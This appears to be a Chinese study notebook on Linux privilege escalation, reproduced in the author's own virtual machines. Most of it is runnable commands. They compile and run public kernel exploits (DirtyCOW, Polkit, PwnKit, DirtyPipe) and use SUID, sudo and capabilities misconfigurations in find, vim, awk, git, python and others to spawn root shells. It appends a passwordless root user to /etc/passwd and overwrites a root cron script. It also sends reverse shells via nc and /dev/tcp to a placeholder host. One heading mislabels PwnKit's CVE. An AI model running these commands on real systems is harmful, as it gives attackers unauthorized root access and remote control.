内网权限提升系统学习(linux)
内网权限提升系统学习(linux)
内核漏洞利用
1.dirtyCOW(CVE-2016-5195)脏牛漏洞
影响范围:Linux内核>=2.6.22
1)前期准备
下载镜像 https://archive.kernel.org/centos-vault/6.0/isos/x86_64/CentOS-6.0-x86_64-LiveDVD.iso
ps:尽量别关机,就挂起
下载poc https://github.com/FireFart/dirtycow
经过测试,安装了vmtools后崩了,所以用ssh服务(或者rz命令)将脏牛代码发送到虚拟机内(注意要用普通用户权限上传代码)
开启ssh服务
service sshd start
关闭防火墙
service iptables stop
可以关机设置一个快照
然后可以用ssh连接工具(xshell等)连接
换源,将下述内容保存为CentOS-Base.repo,用ssh连接工具上传到centos6中,将/etc/yum.repos.d/CentOS-Base.repo备份,然后替换源文件
[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/updates/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/extras/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/centosplus/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/contrib/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6
生成缓存
yum makecache
安装gcc
yum install gcc -y
然后到这个地方在未关机的状态创建一个快照
2)漏洞复现
用普通用户上传poc,然后编译
gcc -pthread dirty.c -o dirty -lcrypt
查看当前用户 普通权限
id
查看内核版本
uname -a
开始漏洞利用
./dirty
或者
./dirty newpassword
然后
su firefart
查看权限
id
发现root用户没了
cat /etc/passwd
恢复
mv /tmp/passwd.bak /etc/passwd
y
这样又会有root用户,需要重新设置一下密码,但是ssh服务好像出些问题了
passwd root
2.Polkit(CVE-2021-3560)
影响版本:
RHEL8
Fedora21(orlater)
Debiantesting("bullseye")
Ubuntu20.04
1)前期准备
下载poc
https://github.com/Almorabea/Polkit-exploit
系统镜像(经过测试复现脏牛漏洞的centos6这个漏洞没复现成功)
http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2.0-desktop-amd64.iso
安装ssh服务,便于上传poc
apt install ssh
systemctl start ssh
systemctl enable ssh
关闭防火墙
systemctl stop ufw
systemctl disable ufw
关机,创建一个快照
2)漏洞复现
使用ssh服务上传poc
python3 CVE-2021-3560.py
3.PwnKit(CVE-2021-4043)
1)前期准备
下载poc https://github.com/arthepsy/CVE-2021-4034
系统用复现脏牛漏洞的centos6就行了,但要恢复到安装gcc后的那个快照,复现脏牛漏洞后系统感觉出现些问题
2)漏洞复现
普通用户上传poc
查看权限
id
编译
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
执行
./cve-2021-4034-poc
查看权限
id
4.DirtyPipe(CVE-2022-0847)
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
1)前期准备
系统下载 https://mirrors.aliyun.com/ubuntu-releases/bionic/ubuntu-18.04.6-desktop-amd64.iso
其中自带了python3.6
安装pip3
apt install python3-pip
在本机里下载https://github.com/brant-ruan/metarget.git,然后因为安装了vmtools,所以可以直接拖进去
pip3 install -r requirements.txt -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com
然后启动漏洞环境
sudo ./metarget cnv install cve-2022-0847
重启,查看内核版本确保漏洞环境搭建成功
uname -r
2)漏洞复现
获取poc
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
这个poc需要事先找到一个具有SUID权限的可执行文件,然后利用这个文件进行提权
利用如下命令找到具有SUID权限的可执行文件
find / -perm -u=s -type f 2>/dev/null
然后执行
./dirtypipez /bin/su
5.linux-exploit-suggester-2
1)前期准备
下载poc https://github.com/jondonas/linux-exploit-suggester-2
系统采用复现脏牛漏洞的centos6
2)漏掉利用
使用ssh服务上传poc
执行
chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl
权限机制滥用
1.SUID提权
现在目标是读到/root/flag.txt,但是现在的权限是普通权限
常见查看SUID文件的命令
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
1)find提权
配置权限
chmod u+s /usr/bin/find
查看SUID文件
find / -user root -perm 4000 -print 2>/dev/null
在tmp目录下创建一个文件
cd /tmp
touch 1
或者进入交互式shell
find 1 -exec '/bin/sh' \;
但失败了
或者反弹shell
nc出现了报错
解决:
在root下
update-alternatives --config nc
find 1 -exec nc xxx 6666 -e /bin/bash \;
find 1 -exec bash -c 'bash -i >& /dev/tcp/xxx/6666 0>&1' \;
也失败了
2)vim提权
权限配置
chmod u+s /usr/bin/vim
方法1:
修改/etc/passwd
方法2(失败了):
!/bin/sh
3)nmap
发现传统的nmap --interactive并未提权成功
之后在网上搜到了P牛的文章,按照p牛的方法进行了复现,具体原理可以看p牛的文章https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
按照他的方法,需要nmap有--script参数
下载nmap
yum install nmap -y
配置权限
chmod u+s /usr/bin/nmap
然后用普通用户创建一个增添testroot用户的Lua脚本
echo 'local file = io.open("/etc/passwd", "a")' >> shell.nse && echo 'file:write("testroot::0:0::/root:/bin/bash\n")' >> shell.nse && echo 'file:close()' >> shell.nse
然后使用nmap 加载
nmap --script=shell.nse
然后切换成特权用户,就可以提取了
su testroot
4)more less(失败,有待研究)
5)nano(失败,有待研究)
6)bash
配置权限
chmod u+s /usr/bin/bash
然后普通用户提权
bash -p
7)awk(失败,有待研究)
8)cp,mv,wget
本质上都是覆盖掉/etc/passwd文件添加特权用户
9)dig
dig -f /root/flag.txt
2.SUDO提权
查找SUDO提权文件
grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null
grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null
echo '' | sudo -S -l -k 2>/dev/null
sudo -l
环境配置(因为自己的虚拟机有些问题,所以不同提权可能在不同的机器上)
vim /etc/sudoers
添加(xxxx为普通用户)
xxxx ALL=(root) NOPASSWD: /usr/bin/find
xxxx ALL=(root) NOPASSWD: /usr/bin/awk
xxxx ALL=(root) NOPASSWD: /usr/bin/git
xxxx ALL=(root) NOPASSWD: /usr/bin/vim
xxxx ALL=(root) NOPASSWD: /bin/more
xxxx ALL=(root) NOPASSWD: /usr/bin/less
xxxx ALL=(root) NOPASSWD: /bin/ed
xxxx ALL=(root) NOPASSWD: /usr/bin/mysql
1)find
执行
touch 1
sudo find 1 -exec whoami \;
sudo find 1 -exec /bin/sh \;
2)awk
sudo awk 'BEGIN{system("whoami")}'
sudo awk 'BEGIN{system("/bin/bash")}'
3)git
首先执行
sudo git help add
然后输入!/bin/bash
获得一个交互式root的shell
4)vim
方法1:修改/etc/passwd
方法2:
输入:!/bin/sh
5)more,less
执行
sudo more/less xxx(较大的文件)
输入!/bin/sh
6)ed
执行
sudo ed
然后输入!/bin/sh
7)
sudo mysql -e "\! whoami"
sudo mysql -e "\! /bin/bash"
3.Capabilities机制
环境配置,注意php要安装高版本的,环境采用了centos和kali,php的Capabilities机制未复现成功
安装高版本的php(php复现环境是centos7,yum默认安装的是php5)
yum install epel-release -y
yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm -y
yum install yum-utils -y
yum install -y php73-php-fpm php73-php-cli php73-php-bcmath php73-php-gd php73-php-json php73-php-mbstring php73-php-mcrypt php73-php-mysqlnd php73-php-opcache php73-php-pdo php73-php-pecl-crypto php73-php-pecl-mcrypt php73-php-pecl-geoip php73-php-recode php73-php-snmp php73-php-soap php73-php-xmll
#如果原先安装了php5的版本
mv /usr/bin/php /usr/bin/php.bak
mv /usr/bin/php73 /usr/bin/php
配置权限
setcap cap_setuid+ep /usr/bin/gdb
setcap cap_setuid+ep /usr/bin/perl
setcap cap_setuid+ep /usr/bin/php
setcap cap_setuid+ep /usr/bin/python
setcap cap_setuid+ep /usr/bin/ruby
setcap cap_setuid+ep /usr/bin/vim
setcap cap_setuid+ep /usr/bin/openssl
复现后恢复
setcap -r /usr/bin/gdb
setcap -r /usr/bin/perl
setcap -r /usr/bin/php
setcap -r /usr/bin/python
setcap -r /usr/bin/ruby
setcap -r /usr/bin/vim
setcap -r /usr/bin/openssl
查找可用文件
getcap -r / 2>/dev/null
1.gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
2.perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
3.php
php -r "posix_setuid(0); system('/bin/sh');"
4.python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
5.ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
6.vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
配置缺陷利用
1.敏感文件可写
/etc/passwd
/etc/shadow
/etc/sudoers
2.cronjobs提权
1)通配符注入提权
2)文件重写提权
环境搭建:当一个计划任务以root权限执行某一个脚本,但是这个脚本普通用户可以修改
使用root用户在/tmp目录下新建一个python文件cleanup.py
import os
import sys
try:
os.system('rm -rf /home/centoslive/*')
except:
sys.exit()
然后赋予权限
chmod u+x cleanup.py
chmod 777 cleanup.py
使用root用户添加一个计划任务
vim /etc/crontab
*/1 * * * * root python /tmp/cleanup.py
意思是每分钟一次执行cleanup.py脚本
然后查看计划任务
crontab -l
切换成普通用户
开始提权
修改cleanup.py
import os
import sys
try:
os.system('chmod u+s /bin/dash')
except:
sys.exit()
或者改为创建suid,sudo提权,反弹shell,修改/etc/passwd,添加特权用户也行
nc -lnvp xxxx
1分钟接收到了root权限的shell
3.环境变量
敏感文件利用
1.web源码中数据库连接配置文件,可以获得连接的账号密码
2.数据库文件,导出可取证恢复
3.运维疏忽将账号密码直接写到某一个文件中,可用工具搜索
https://github.com/Naturehi666/searchall
searchall -p /
4.历史命令记录中可能会有敏感信息
应用服务提权
1.mysql的udf,mof
2.mssql的xp_cmd
3.docker
4.LXD容器
参考文章
https://l0n9w4y.cc/posts/29809/
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
https://www.cnblogs.com/vir-k/p/16301456.html
https://www.cnblogs.com/f-carey/p/16026088.html
https://zhuanlan.zhihu.com/p/451513449